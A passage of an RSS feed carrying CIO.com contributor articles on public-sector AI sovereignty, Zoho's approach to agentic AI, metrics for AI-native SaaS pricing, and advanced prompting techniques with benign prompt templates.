<li><strong>Infrastructure control:</strong> Whether critical workloads run in approved environments.</li>



<li><strong>Operational control:</strong> Whether AI-assisted actions are logged, monitored and reversible.</li>



<li><strong>Vendor control:</strong> Whether the agency keeps portability, audit rights and a real exit.</li>
</ul>



<p class="wp-block-paragraph">Those five layers are the control plane for public-service AI. Floyd Dcosta recently made the enterprise case in “<a href="https://www.cio.com/article/4147102/ai-without-sovereignty-is-just-outsourced-intelligence.html">AI without sovereignty is just outsourced intelligence</a>”: capability is what a tool can do; authority over how and when it does it is something a buyer can quietly lose. For public services, losing that authority plays out in the public eye.</p>



<p class="wp-block-paragraph">Public-sector AI risk differs from enterprise risk. A retailer’s bad recommendation costs a sale; a government’s AI touches benefits, tax enforcement, policing and emergency response, raising the bar to due process, records retention and continuity of operations. A government that cannot reconstruct an AI-assisted decision lacks operational sovereignty, even in a domestic data center.</p>



<h2 class="wp-block-heading">Evaluating risk: Concentration, jurisdiction and shadow AI</h2>



<p class="wp-block-paragraph">Foreign dependency is a real risk, but the exposure that matters is a sudden cutoff: A model you cannot audit, switch or exit, shut off by someone else’s order. A vendor’s nationality is a poor guide to that risk; control is.  Two markers matter. The first is concentration. In July 2024, a single faulty CrowdStrike update <a href="https://www.cisa.gov/news-events/alerts/2024/07/19/widespread-it-outage-due-crowdstrike-update">crashed about 8.5 million Windows machines</a>, disrupting airlines, hospitals, banks and governments worldwide. No attacker was involved; one homogeneous dependency failed everywhere at once. The lesson points away from vendor nationality and toward uniformity as the fault line, making portability and provider diversity resilience controls.</p>



<p class="wp-block-paragraph">The second is jurisdiction. In June 2025, Microsoft’s legal director for France <a href="https://www.sdxcentral.com/news/microsoft-tells-french-lawmakers-it-cant-protect-user-data-from-us-demands/">told a Senate inquiry, under oath</a>, that it could not guarantee that French public-sector data, even in French data centers, would be protected against US demands under the 2018 CLOUD Act. No such request had been made, and EU data has stayed in the EU since January 2025; senators called the assurance purely declarative. For the most sensitive data, residency does not equal control; the parent’s jurisdiction can matter as much as the server’s. Three US hyperscalers hold <a href="https://www.srgresearch.com/articles/european-cloud-providers-local-market-share-now-holds-steady-at-15">about 70% of the European cloud market</a>, while European providers’ share fell from 29% in 2017 to roughly 15%. Concentration plus jurisdiction is the exposure a CIO must price. I have watched teams treat vendor selection as the moment risk was solved; it rarely was.</p>



<p class="wp-block-paragraph">The wrong response is self-isolation. Most countries will never build frontier models, advanced chips, hyperscale clouds and talent pipelines at once; the Tony Blair Institute calls full self-sufficiency “too expensive, too slow and, for most countries, simply impossible.” The better test is workload sensitivity. Low-risk uses, such as drafting, translation and summarization, can run on commercial platforms with controls; high-risk uses, such as benefits eligibility, fraud investigation and healthcare triage, demand stricter control over data, model behavior and auditability.</p>



<p class="wp-block-paragraph">Mandating domestic-only provision before a competitive option exists inverts sovereignty. <a href="https://europe2031.ai/summary">Europe 2031</a>, a five-year scenario from June 2026 by European technologists and policy researchers, illustrates the failure mode: A 2027 “buy European” mandate lands as offensive cyber capability spreads, and agencies that switched to weaker providers are locked out and paying ransoms. The scenario is fiction; the mechanism is not. Leverage comes from being indispensable, not half-hearted self-sufficiency. The closer-to-home effect is shadow AI: Mandate an inferior sanctioned tool and staff bypass it, the way shadow IT grows up around tools people find too slow. A rule that pushes sensitive work into ungoverned shadow AI reduces control instead of adding it.</p>



<p class="wp-block-paragraph">Regulation and data-residency rules belong in any serious strategy, but carry failure modes. Blanket localization raises hosting costs and slows adoption without guaranteeing control, and a “sovereign cloud” on a foreign parent’s stack can amount to sovereignty theater. The more useful pattern tiers requirements by sensitivity. India’s BHASHINI shows the application layer done well: A public platform <a href="https://www.pib.gov.in/PressReleaseIframePage.aspx?PRID=2093333&amp;reg=3&amp;lang=2">serving 100 million-plus inferences a month across 22-plus languages</a> on a vendor- and cloud-agnostic design that keeps data and switching rights public. Sovereignty resides in the portability, not in a national model.</p>



<h2 class="wp-block-heading">Building an operational sovereignty strategy</h2>



<p class="wp-block-paragraph">Public trust is the constraint sovereignty rhetoric tends to skip. The OECD’s <a href="https://www.oecd.org/en/publications/governing-with-artificial-intelligence_795de142-en.html">2025 review of government AI</a> warns that opaque systems make AI-assisted decisions hard to explain and can give public servants false confidence in tools that fail quietly. State-controlled AI is the same problem from the other side: A government that deploys models against its own citizens without audit or record has gained control and lost accountability. An agency that can log, explain and reverse an AI-assisted action can defend it to citizens, courts, auditors and elected officials. If it cannot, it has bought access and called it sovereignty.</p>



<p class="wp-block-paragraph">None of this is new. AI sovereignty repeats earlier fights over cloud, telecom, semiconductors and cybersecurity. Europe’s flagship cloud project, GAIA-X, became a cautionary tale; the Dutch technologist Bert Hubert called it an <a href="https://berthub.eu/articles/posts/gaia-x-is-an-expensive-distraction/">“expensive distraction”</a> that produced no European cloud, the familiar result of ambition without absorptive capacity. Cloud taught governments that outsourcing infrastructure does not outsource accountability; telecom, that vendor dependency becomes strategic exposure; chips, that supply chains matter before a crisis; cybersecurity, that trust must be verified continuously. AI inherits all four at once.</p>



<p class="wp-block-paragraph">Over the next five to ten years, some countries will build national platforms, more will build trusted cloud and trusted model regimes, and most will run hybrids that pair domestic data control with global model access. Trade policy will harden those choices: Export controls on compute and data-localization rules will pull the vendor market into blocs that track alliances more than open markets. For a CIO, that turns a vendor and hosting decision into a five-year bet on whose rules and supply chains will still hold. The ones that succeed will treat sovereignty as an operating requirement, backed by leverage, not a slogan. Start with the control plane before the model: Most agencies will never own the model, and the controls are what decide whether the AI they do run stays accountable. Even when procurement policy is dictated from above, these questions remain within the CIO’s authority:</p>



<ol start="1" class="wp-block-list">
<li>Can we classify AI workloads by public-service risk?</li>



<li>Can we prove where sensitive data goes across training, retrieval, inference, logging and retention?</li>



<li>Can we restrict which models are approved for which data classes and functions?</li>



<li>Can we reconstruct an AI-assisted action in enough detail to explain it?</li>



<li>Can we change providers without losing continuity or institutional knowledge?</li>



<li>Can we explain the system to citizens, regulators, auditors and elected officials?</li>
</ol>



<p class="wp-block-paragraph">A “no” to any of these does not mean the agency lacks AI. It means the agency has access it does not yet control. Public institutions can use global innovation without surrendering public authority, but only once they know what to hold, what to rent and where dependency turns into risk.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Smaller, smarter, safer: How to build agentic AI on the right foundation]]></title>
<description><![CDATA[When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.



“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a sui...]]></description>
<link>https://tsecurity.de/de/3694397/it-security-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694397/it-security-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.</p>



<p class="wp-block-paragraph">“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.</p>



<p class="wp-block-paragraph">“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.</p>



<p class="wp-block-paragraph">Speaking to a room of tech leaders at the <a href="https://event.foundryco.com/cio-100-leadership-live-new-york/">CIO 100 Leadership Live New York event</a> last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:</p>



<ul class="wp-block-list">
<li>Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.</li>



<li>Smarter: The system around the model decides more than the model does.</li>



<li>Safer: Verify at the point a mistake gets locked in, not just downstream of it.</li>
</ul>



<p class="wp-block-paragraph">He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.</p>



<p class="wp-block-paragraph">To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.</p>



<p class="wp-block-paragraph">“The intelligence moves from the model into the architecture around it,” he said.</p>



<h2 class="wp-block-heading">A steep learning curve</h2>



<p class="wp-block-paragraph">One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.</p>



<p class="wp-block-paragraph">“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”</p>



<p class="wp-block-paragraph">In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.</p>



<p class="wp-block-paragraph">Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.</p>



<p class="wp-block-paragraph">“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.</p>



<p class="wp-block-paragraph">Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.</p>



<p class="wp-block-paragraph">“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”</p>



<p class="wp-block-paragraph">The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.</p>



<p class="wp-block-paragraph">“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.</p>



<p class="wp-block-paragraph">Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.</p>



<h3 class="wp-block-heading">Routing</h3>



<p class="wp-block-paragraph">Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.</p>



<p class="wp-block-paragraph">Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.</p>



<p class="wp-block-paragraph">“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”</p>



<h3 class="wp-block-heading">Harness</h3>



<p class="wp-block-paragraph">An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.</p>



<p class="wp-block-paragraph">“It’s the process around the model, which matters way more than the model itself,” Thakrar said.</p>



<p class="wp-block-paragraph">In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.</p>



<p class="wp-block-paragraph">For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.</p>



<p class="wp-block-paragraph">Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.</p>



<p class="wp-block-paragraph">“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”</p>



<p class="wp-block-paragraph">But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.</p>



<p class="wp-block-paragraph">Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.</p>



<h3 class="wp-block-heading">Specialization</h3>



<p class="wp-block-paragraph">Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.</p>



<p class="wp-block-paragraph">Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.</p>



<p class="wp-block-paragraph">“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The new value architecture of the AI-native SaaS era]]></title>
<description><![CDATA[The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.



In brief:




AI is transforming software as a service (SaaS), and the old ways of keeping score no longer apply.



Smart companies are evolving new metrics that provide deep...]]></description>
<link>https://tsecurity.de/de/3694395/it-security-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694395/it-security-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.</p>



<p class="wp-block-paragraph">In brief:</p>



<ul class="wp-block-list">
<li><a href="https://www.cio.com/article/4146669/is-ai-the-end-of-saas-as-we-know-it.html">AI is transforming software as a service (SaaS)</a>, and the old ways of keeping score no longer apply.</li>



<li>Smart companies are evolving new metrics that provide deeper insight into how AI-native software is performing in a new marketplace.</li>



<li>These changes impact everything from pricing to valuations.</li>
</ul>



<p class="wp-block-paragraph">The transformation of the software-as-a-service (SaaS) industry toward AI-native operating companies is rapidly changing the unit of value across the industry.</p>



<p class="wp-block-paragraph">The traditional metric of seats — which measured access — is rapidly giving way to credits designed to measure work performed. This evolution is upending the industry in multiple ways, impacting everything from pricing to enterprise valuations.</p>



<p class="wp-block-paragraph">While many companies still cling to seat-based metrics to measure growth, efficiency and durability, the future is likely to be one in which companies utilize a <a href="https://www.cio.com/article/4184688/it-hurtles-toward-the-great-enterprise-pricing-reset.html">credit-centric metrics framework</a>, with seats and outcomes as the bookends of a spectrum.</p>



<h2 class="wp-block-heading">Why do software companies need new metrics?</h2>



<p class="wp-block-paragraph">Why the rethink, and why now? There are five major forces that are driving this shift:</p>



<ol start="1" class="wp-block-list">
<li><a href="https://www.idc.com/resource-center/blog/is-saas-dead-rethinking-the-future-of-software-in-the-age-of-ai/"><strong>The unit of value is changing</strong></a><strong>.</strong> Seats measured who could access software, and credits measure what the software actually does. But in an AI-native world, agents don’t have seats; they have workloads. Over the past 18 months, every major SaaS platform has moved to some forms of credit or consumption unit.</li>



<li><strong>The cost of goods sold (COGS) is exploding.</strong> AI inference adds real per-unit costs that scale with usage. In an AI-native world, software companies can’t scale to infinite users at near‑zero marginal cost as before.</li>



<li><strong>Buying is moving up the org chart.</strong> AI-native applications shift purchasing to higher-level operators — such as line-of-business leaders or chief operating officers — which expands the market from software budgets to labor budgets. And because AI agents replace services as well as software, the total market opportunity is 3x to 10x larger than traditional SaaS.</li>



<li><strong>Time to value (TTV) is collapsing.</strong> With AI-native tools, customers start seeing meaningful results in weeks rather than quarters. Onboarding and setup are fast, workflows are pre-built, and there’s no need for extensive customer success or professional services — dramatically reducing implementation time and costs.</li>



<li><strong>Retention is bifurcating.</strong> AI forces clarity in a way that traditional SaaS couldn’t. Products that can provide value become even “stickier” and retain customers. Those that don’t churn faster. In an AI-native marketplace, the middle disappears.</li>
</ol>



<h2 class="wp-block-heading">How this shift is impacting pricing</h2>



<p class="wp-block-paragraph"><a href="https://www.ey.com/en_us/insights/strategy/grow-with-trusted-software-portfolio-management">Given how AI-native software is transforming the market</a>, the shift to more variable pricing options is inevitable.</p>



<p class="wp-block-paragraph">Seats won’t go away completely. Subscription pricing based on the number of users is stable and predictable and will continue to work for some customers. Tokens — the use of pass-through pricing for underlying compute — will fit those customers where the AI feature is commoditized or the buyer wants transparency into costs.</p>



<p class="wp-block-paragraph">Credits will likely become the dominant architecture because they provide a simple metric for both customers and providers. The vendor sets the conversation ratio between credits and underlying compute, shielding the customer from inference cost details. Credits are easy to understand and can be packaged into annual contracts for multiple features and products.</p>



<p class="wp-block-paragraph">Finally, the industry will likely see <a href="https://www.gartner.com/en/newsroom/press-releases/2026-07-01-gartner-says-us-dollars-234-billion-in-enterprise-application-software-spend-is-at-risk-from-agentic-artificial-intelligence">some move toward outcome-based pricing</a> for results such as resolved tickets, recovered revenue or qualified leads. This strategy will mostly be limited to verticals where it is easy to prove AI impacted the result.</p>



<p class="wp-block-paragraph">Where a software vendor sits on this spectrum is a signal of differentiation and pricing power. Credits are where most defensible AI-native businesses are landing because they balance customer predictability with vendor margin control.</p>



<h2 class="wp-block-heading">How AI upends classic SaaS metrics</h2>



<p class="wp-block-paragraph">When SaaS was in its infancy, companies settled on key metrics designed to answer a small set of core questions. Are we growing? Are customers using the product? Are we retaining and expanding accounts?</p>



<p class="wp-block-paragraph">But as AI upends software itself, it is also requiring companies to adopt new metrics to track success. These new metrics fall into three primary buckets, rebuilt around the pricing spectrum described earlier and the trend toward credits as the primary frame:</p>



<h3 class="wp-block-heading">Revenue composition</h3>



<ul class="wp-block-list">
<li>Committed credit annual recurring revenue (ARR) vs. burndown ARR: Measuring the credits sold on annual commitment vs. those consumed and replenished. This is the single most important split for valuation. Committed credits behave like subscription and burndown behaves like usage.</li>



<li>Credit utilization rate: The percentage of purchased credits consumed per period. This is a leading indicator of renewal sizing.</li>



<li>Credit burn velocity: How fast is a customer consuming their credits, and is that consumption increasing or decreasing quarter over quarter? This metric predicts expansion or contraction before it shows up in ARR.</li>



<li>Effective price per credit: The real revenue per credit after discounts, overage and rollover, which can detect revenue leakage and help companies set smarter guide rails.</li>
</ul>



<h3 class="wp-block-heading">Margin reality</h3>



<ul class="wp-block-list">
<li>Credit margin: The gross profit the company earns per credit after subtracting inference costs. This is the core economic unit for AI-native, usage-based businesses — the replacement for gross margin per seat used in SaaS.</li>



<li>Inference-adjusted gross margin: By carving out AI inference costs separately in the P&amp;L statement, you can see true AI margins, avoid hiding deterioration inside blended SaaS margins, and clearly distinguish AI economics from legacy SaaS economics.</li>



<li>Compute leverage ratio: This metric measures how efficiently the business converts compute spend into revenue. It shows whether your AI margins are improving as you scale.</li>



<li>AI-adjusted “Rule of 40”: This updated metric recalibrates the traditional growth and profitability benchmark to account for AI’s lower gross margins and variable inference costs, giving a more accurate picture of business health for AI-native companies.</li>
</ul>



<h3 class="wp-block-heading">Behavioral and value signals</h3>



<ul class="wp-block-list">
<li>Time-to-first outcome: Replaces traditional onboarding metrics. Tracks how fast a customer reaches their first measurable result.</li>



<li>Adoption: AI-native adoption is measured by workflow penetration and active agent density, not seat count. As AI replaces human-driven usage, the unit of adoption shifts from people to automated workflows and agents.</li>



<li>Net credit retention (NCR): Credit-volume retention across the customer base, tracked separately from net recurring revenue to avoid price-change impact.</li>
</ul>



<p class="wp-block-paragraph">Along with these new metrics, the industry’s transformation is prompting companies to retire or recalibrate old SaaS measures, including per-seat ARR as a primary key performance indicator (KPI), traditional magic number calibrated to subscription dynamics, unadjusted Rule of 40, customer success metrics tied to human touchpoints, and blended gross margin without AI COGS carve-outs.</p>



<h2 class="wp-block-heading">What does this mean for enterprise value calculations?</h2>



<p class="wp-block-paragraph">As the internal metrics of success change, so do the ways the investment community measures growth and long-term viability.</p>



<p class="wp-block-paragraph">Increasingly, a company’s valuation multiple depends on whether its revenue behaves like committed subscription ARR or volatile usage ARR, and the commit‑to‑burndown ratio is the metric investors use to decide where the company fits.</p>



<p class="wp-block-paragraph">For example, a business with 80% committed credit ARR could trade closer to subscription comps and one with 80% burndown could trade closer to usage comps even though both have the same types of customers. Being able to proactively explain the commit‑to‑burndown mix can help companies avoid undervaluation.</p>



<p class="wp-block-paragraph">In addition, utilization is expected to replace net promoter scores and seat usage as the primary predictor of churn or expansion. Low utilization guarantees downsizing at renewal, so companies must track utilization cohorts the same way SaaS tracks logo retention cohorts today.</p>



<p class="wp-block-paragraph">We’re also seeing an inversion of the operating model, with R&amp;D and COGS moving up the P&amp;L and sales and marketing (S&amp;M) and customer success (CS) moving down or sideways. The net operating leverage profile is structurally different from classical SaaS, and the cost-to-scale curve looks different too.</p>



<p class="wp-block-paragraph">Finally, credit margin engineering is a hidden value-creation lever. The gap between price per credit and cost per credit is set by the software vendor and can be optimized. Most operators have barely started managing this rigorously, and the ones who do will pull away on margin.</p>



<h2 class="wp-block-heading">What this means for leaders, boards and investors</h2>



<p class="wp-block-paragraph">The shift from classic SaaS metrics to new AI‑native measures isn’t cosmetic. It represents the seismic change the industry is experiencing as AI matures and transforms products and organizations.</p>



<p class="wp-block-paragraph">While these metrics — and perhaps others yet to be determined — may evolve over time, there is no doubt they are already changing how AI companies allocate capital, price products, incent sales teams, evaluate performance and communicate with investors.</p>



<p class="wp-block-paragraph">It’s important to remember that SaaS metrics were practical tools for a specific era of software. As that era draws to a close, winning companies will choose new metrics that shape behavior and drive smart decision-making.</p>



<p class="wp-block-paragraph"><em>The views reflected in this article are the views of the author and do not necessarily reflect the views of Ernst &amp; Young LLP or other members of the global EY organization.</em></p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Stop asking AI nicely: Here’s how to get work-ready results every time]]></title>
<description><![CDATA[Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation fo...]]></description>
<link>https://tsecurity.de/de/3694396/it-security-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694396/it-security-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation for reliable, measurable outcomes. I want to share the techniques that consistently delivered the biggest gains in my projects, complete with real before-and-after examples, copy-paste templates, lessons from failures and guidance on when to evolve beyond prompting to agentic systems.</p>



<h2 class="wp-block-heading">Why advanced prompting still matters in enterprise settings</h2>



<p class="wp-block-paragraph">Sophisticated prompting remains essential for control, reliability and compliance. If you “ask nicely” and hope for the best, you need deterministic behavior, auditable reasoning and minimal risk of hallucination. Here’s what worked for me.</p>



<h3 class="wp-block-heading">1. Chain-of-Thought (CoT) and its variants: Unlocking step-by-step reasoning</h3>



<p class="wp-block-paragraph"><strong>The problem:</strong> Models would jump to conclusions on complex analysis tasks, especially involving data interpretation or multi-step logic.</p>



<p class="wp-block-paragraph"><strong>What I did:</strong> I started explicitly instructing the model to “think step by step” and show its reasoning.</p>



<p class="wp-block-paragraph"><strong>Before (basic prompt): </strong>“Analyze last quarter’s sales data and recommend three actions.”</p>



<p class="wp-block-paragraph"><strong>After (CoT prompt):</strong></p>



<p class="wp-block-paragraph">“You’re a senior business analyst. Analyze the following sales data step by step: [data]. First, identify the key trends. Second, calculate the rates and anomalies. Third, link findings to business context. Finally, recommend the three prioritized actions with expected impact. Explain your reasoning at each step.”  </p>



<p class="wp-block-paragraph"><strong>Results:</strong> Accuracy and depth improved dramatically.</p>



<p class="wp-block-paragraph"><strong>Variants that worked well:</strong> Self-consistency. I ran the same CoT prompt multiple times and took the majority consensus. This reduced variability significantly.</p>



<p class="wp-block-paragraph"><strong>Template you can use:</strong></p>



<pre class="wp-block-code"><code>You are [expert role]. Solve this problem by thinking step by step.

[Task or question]

For each step:

1. State your observation or calculation.

2. Explain the implication.

3. Proceed only when confident.

Final answer in this format: [structured output]</code></pre>



<h3 class="wp-block-heading">2. Tree-of-Thoughts (ToT): Exploring multiple reasoning paths</h3>



<p class="wp-block-paragraph">For truly complex decisions such as resource allocation or risk assessment, linear CoT isn’t enough. Tree-of-Thoughts lets the model generate and evaluate multiple branches.</p>



<p class="wp-block-paragraph"><strong>Example:</strong> I was helping a client evaluate three potential vendor platforms for an AI deployment. A standard prompt gave a superficial comparison. With ToT</p>



<p class="wp-block-paragraph"><strong>Prompt Snippet:</strong></p>



<pre class="wp-block-code"><code>Explore three different reasoning paths for selecting the best vendor platform:

Path 1: Focus on cost and scalability.

Path 2: Focus on security, compliance and integration.

Path 3: Focus on innovation and long-term roadmap.

For each path, evaluate pros/cons against our requirements [list].

Then, compare the paths and recommend the strongest overall option with justification.</code></pre>



<p class="wp-block-paragraph"><strong>Outcome:</strong> The model surfaced nuanced trade-offs (e.g., one vendor had superior security, but higher integration cost).</p>



<p class="wp-block-paragraph"><strong>When to use:</strong> Strategic planning, troubleshooting or scenarios with high uncertainty and multiple viable approaches.</p>



<h3 class="wp-block-heading">3. ReAct (Reason+ Act) and prompt chaining: Moving toward agentic behavior</h3>



<p class="wp-block-paragraph">One of the biggest leaps I have noticed comes from combining reasoning with tool use and chaining prompts.</p>



<p class="wp-block-paragraph"><strong>ReAct example</strong>: (used in data analytics workflow)</p>



<pre class="wp-block-code"><code>You are an AI analyst with access to tools. For the query below:

1. Reason about what information you need.

2. Choose the appropriate tool or action.

3. Observe the result.

4. Repeat until you can answer confidently.

Query: [user request]</code></pre>



<p class="wp-block-paragraph">In practice, I chained this with retrieval tools. One automated quarterly compliance reporting; the system reasoned about required data, pulled relevant records, validated them, and generated the reports.</p>



<h3 class="wp-block-heading">4. Meta-prompting and self-reflection: Letting the model improve itself</h3>



<p class="wp-block-paragraph">Use the model to refine its own prompt. This is a huge time-saver.</p>



<pre class="wp-block-code"><code>You are an expert prompt engineer. Improve the following prompt for clarity, structure and effectiveness with [target model]. Make it more precise while preserving intent.

Original prompt: [paste]

Provide the improved version and explain your changes.</code></pre>



<p class="wp-block-paragraph">Self-reflection loops (asking the model to critique its own output and revise) are a game-changer for content generation and code-review tasks.</p>



<h3 class="wp-block-heading">5. Multimodal and structured output techniques</h3>



<p class="wp-block-paragraph">With vision-enabled models, I started combining text with images (e.g., uploading architecture diagrams or dashboards).</p>



<p class="wp-block-paragraph"><strong>Tip from experience:</strong> Be extremely specific in describing what the models should focus on.</p>



<h4 class="wp-block-heading">Best practices I learned the hard way</h4>



<ul class="wp-block-list">
<li><strong>Start simple, then layer complexity</strong>: Over-engineered prompts from Day One usually backfire.</li>



<li><strong>Model specific tuning:</strong> Some models respond better to XML delimiters; others to explicit reasoning.</li>



<li><strong>Evaluation and versioning:</strong> Treat prompts like code if you track versions and run automated evals.</li>



<li><strong>Security guardrails:</strong> Always include instructions against prompt injections and respect data boundaries.</li>



<li><strong>When to stop prompting</strong>: For repetitive, high-stakes workflows, move to full agents or an orchestration framework.</li>
</ul>



<h2 class="wp-block-heading">Final takeaways for technical leaders</h2>



<p class="wp-block-paragraph">Advanced prompt engineering has now become a core competency for anyone responsible for enterprise AI outcomes. Start by picking one technique and apply it rigorously to a real business problem. Document before/ after and you will notice why it’s worth mastering.</p>



<p class="wp-block-paragraph">The field continues evolving towards more automated and agentic systems, but the ability to precisely direct AI reasoning remains foundational.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
